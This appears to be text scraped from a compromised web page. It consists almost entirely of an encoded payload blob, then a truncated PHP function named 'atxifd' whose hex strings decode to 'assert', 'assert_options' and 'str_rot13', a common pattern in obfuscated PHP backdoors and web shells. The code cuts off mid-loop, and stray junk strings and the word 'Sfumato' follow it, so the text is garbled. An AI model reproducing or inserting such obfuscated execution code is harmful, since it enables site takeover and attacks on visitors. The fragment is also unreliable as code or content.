6E2pdMWAg+YA5Xcs8Ak6MtPsXMFYFV6V1SUWxPbuox8S1S3Gkux6QObROgRO718OFXn2111oPheLcvi6tE9ws/kp19E03LscMF30no+8eVJidhoOMp8lHIUOJy4FhhkzwrLCEeFNeHiQ8pZLquKDMKJEHUzAlaC17IKFMBW9K3h+vvs4+HJmCYw6PpgcwiFt7O9Re0vRUr4lmyIf4uT/xO0aWr/7F8NbklhjczB4z0zSZ2ylhGEPEkdFWkyXZrn6wYmNwxZhcbxHregoORalTXj2G5Mod/StmmXRWU2h8fGzciKISdi+twtU0wo5nu5tTU+VCWiHpdOAEKxea5tCPxai7FcCZo8O0ZYGdfImrkjScT2eTOyRHBkTgBfEdI8Osmzk7Mnej+WiyjUFJc6ZxIQE8Ycl9b589H0AndD5nLJPd5OYxPWRDwlUz32HyaA6bDg+8tSMBToZRNQzMHBe8gjREArheL94tVGOuBNcsU/cjZ1eStf02g4kqmCvVw4yiPGOCbUQlih7WIdokEo25/iH04FnjDwEtRpWqXK/Hg+ALfLc3dK6oJtZIl9ll5MbyCkxnV6u382isFBnqHaD7W+g72kDND8vHAYI7gDsEkO3H0Rk498gILmB4bsXej7suKvpgayqOa6zL8XtvXxAQrvgQO1IhrNg3tep3+I1cVw+JqwQeWUzjzLQkcfREAcHNfmQ9bUHNXksTbe3NIwCNCiNH2v7PcVKIA8ZWl2bOdTFBDHgNfghs4sXKfM0fJRlFQMt5SeKqNhrfZPIW4QycNQqUH+MTcZXLlpIugwCq+WSr1sxVauziKn0KD6MpTx1FWX2wKQ1y4aS4QahDcABc7dod5boIBl/TZcYb2zk8jyC23mC5BmVivj0SPoli6VZw3eUgS7qZTedE8c5ErcqLINIn6SwXFcxl0QQvAN+BbnNZEJxNDIUNpusAy9fiSk9QPgKeNj3SHXoLhiGDtd8/4NtSkzGx+l6YkHTmsX5IkLp9LDdfCybGauFSBJBtaYSHuXeGsZL19iRYDjlDgFxo15Zu4+hI2YC5mciipG0H8uViQaNFJKu7O19dV4hl2+wU1u4Dkc0VvZ/hysJy6+bmOSSpgSYlnWUQLNVyDg8bJSosuxUAOqsq3sqaI2WajyI91RZdDqI7gOotStM0L4J+WOMeQdfGCgAlW5HOOir5Cm9deA9OLojdok7vImYlL5IODXsJqJDmjkhBkZ03wMgx8eikupYzngXUqbmk/DSarYdfuUkGQAd8pEzflI7BXa9mQ7gsdA3vPDTSssgwU83GYYqJ97k4XlizOOPUeoYQf56tSpzusYOf0QwxoTV3KYfHKnODiEfl+9nUKx1zsmykKH1DohC9rsMSK6PLUVmRrUoZHrmVuwsN/cGNEawXN53pJnrY/XxqmueV+CO+Va3HnOtwamvf5vo19VyMNzohTuhzgAcEkYPkdQsvR7WTlk3i7BYc0WiHnzcrtsXGb4ggAE4LNt0DAgObA2+jqBZ7s6YV2CZRERkNW6zA2k3dC9+ynYSreNhh2XRE/Kk7GCtsip3ZUiip2IhoO3RnMdcASwmpERtDzOTNTU6cc6iOKgqpUNv63QnQTvDJjB9oQ24nReM8exMNdesMNGvSepqHBYA5cEyD4YA57hW28tulyInxpKwH6hyRSM4YcH7gwmjkkO1G6PcBPG/TPKGjLRAusxRnUOZMSGcPB+82XpggELrRnQ4pXnnejYYk";if(!function_exists("atxifd")){function atxifd($zz){$x=2;foreach(array("617373657274","6173736572745f6f7074696f6e73","7374725f726f743133")as$_=>$__)for($i=0;$i df7vbgdf7ygb df7vbgdf7ygb Sfumato